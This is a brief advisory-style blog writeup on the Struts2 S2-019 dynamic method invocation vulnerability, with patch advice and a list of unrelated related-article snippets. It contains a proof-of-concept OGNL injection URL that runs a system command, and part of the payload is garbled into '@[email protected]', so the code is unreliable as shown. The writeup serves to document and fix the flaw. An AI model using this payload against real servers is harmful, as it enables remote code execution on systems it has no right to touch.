struts2 CVE-2013-4316 S2-019 Dynamic method executions Vul

catalog

1. Description
2. Effected Scope
3. Exploit Analysis
4. Principle Of Vulnerability
5. Patch Fix

1. Description

Dynamic Method Invocation is a mechanism known to impose possible security vulnerabilities, but until now it was enabled by default with warning that users should switch it off if possible.

Relevant Link:

http://struts.apache.org/docs/s2-019.html?spm=5176.775974950.2.8.iJuruO

2. Effected Scope
3. Exploit Analysis

0x1: POC

需要目标struts2应用开启debug模式

http://localhost:8080/crazyit/register.action?debug=command&expression=%23f=%23_memberAccess.getClass%28%29.getDeclaredField
%28%27allowStaticMethodAccess%27%29,%23f.setAccessible%28true%29,%23f.set%28%23_memberAccess,true%29,
@[email protected]%28%29.exec%28%27/Applications/Calculator.app/Contents/MacOS/Calculator%27%29
/*
http://localhost:8080/crazyit/register.action?debug=command&expression=#f=#_memberAccess.getClass().getDeclaredField
(‘allowStaticMethodAccess‘),#f.setAccessible(true),#f.set(#_memberAccess,true),
@[email protected]().exec(‘/Applications/Calculator.app/Contents/MacOS/Calculator‘)
*/

Relevant Link:

http://qqhack8.blog.163.com/blog/static/114147985201463194423958/
http://qqhack8.blog.163.com/blog/static/114147985201402743220859

4. Principle Of Vulnerability
5. Patch Fix

0x1: upgrade struts2

In Struts 2.3.15.2 the Dynamic Method Invocation is to false by default. Another option is to set struts.enable.DynamicMethodInvocation to false in struts.xml

<constant name="struts.enable.DynamicMethodInvocation" value="false"/>

0x2: 手动修复方法

1. 使用过滤器对相关关键字进行拦截，需要修改struts.xml，并重启struts2应用进程
2. 动态关闭struts2的属性开关(hotfix)
3. 使用waf进行URL层面的拦截

Relevant Link:

http://www.fjssc.cn/html/research/notice/2014/0127/78.html

Copyright (c) 2015 Little5ann All rights reserved

时间： 2024-10-29 19:06:40

struts2 CVE-2013-4316 S2-019 Dynamic method executions Vul的相关文章

DMI(Dynamic Method Invocation) 动态方法调用

创建action,内容如下: package action; import com.opensymphony.xwork2.ActionSupport; public class A extends ActionSupport { public String toJsp(){ return "success"; } } 配置struts.xml,内容如下: <?xml version="1.0" encoding="UTF-8" ?>

多态，动态方法调度(dynamic method dispatch)？

8.多态Polymorphism,向上转型Upcasting,动态方法调度(dynamic method dispatch) (视频下载) (全部书籍) 什么叫多态?简言之,马 克 - t o - w i n:就是父类引用指向子类时,父类和子类必须同时拥有某个同名函数,父类引用到底指向谁(调用谁的函数),是在runtime时决定的,因此呈现多种状态(不知道会指向若干子类中的哪一个还是父类自己).拿上一节的例子来讲,比如运行时如果用户输入自行车,就执行自行车的驾驶方法.如果用户输入小轿车,就执行小

DMI ( Dynamic Method Invocation )

功能: 点击 hello , 调用 execute 函数 点击 update , 调用 update 函数 1.项目结构 2.web.xml <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/java

[Core Javascirpt] Basic Metaprogramming: Dynamic Method

Somehow it looks like reflect in Java. For example: We define an mothod on the Object, it called defineMethod(). It accepts two arguements, one is methodName andother is methodBody. Read More: https://developer.mozilla.org/en/docs/Web/JavaScript/Refe

深入浅出Cocoa之消息（二）-详解动态方法决议(Dynamic Method Resolution) 【转】

序言 如果我们在 Objective C 中向一个对象发送它无法处理的消息,会出现什么情况呢?根据前文<深入浅出Cocoa之消息>的介绍,我们知道发送消息是通过 objc_send(id, SEL, ...) 来实现的,它会首先在对象的类对象的 cache,method list 以及父类对象的 cache, method list 中依次查找 SEL 对应的 IMP:如果没有找到且实现了动态方法决议机制就会进行决议,如果没有实现动态方法决议机制或决议失败且实现了消息转发机制就会进入消息转发流

strut2 升级至2.3.20

问题现象: Apache Struts s2-005 远程代码执行漏洞(CVE-2010-1870) 受影响版本: Struts 2.0.0 - Struts 2.1.8.1 漏洞描述: 在Struts2中访问OGNL的上下文对象必须要使用#符号,S2-003的修复方案中对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过. http://struts.apache.org/docs/s2-005.html Apache Struts s2-008 远程代码

Struts2一个Action内包含多个请求处理方法的处理,method的使用方法,struts2中

struts2的关于method="{1}"意思详解 <action   name= "Login_* "   method= "{1} "   class= "mailreader2.Login ">中Login_*带*是什么意思?method= "{1} "带{}这个是什么意思?====================================================name=

struts2中struts.xml配置文件详解

struts.xml的常用配置 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN" "http://struts.apache.org/dtds/struts-2.3.dtd"> <struts

浅谈Struts2(三)

一.Struts2收集client的参数 核心思路: <form method="post" action="XXXX"> <input type="text" name="username"/> <input type="text" name="password"/> <input type="text" name=&quo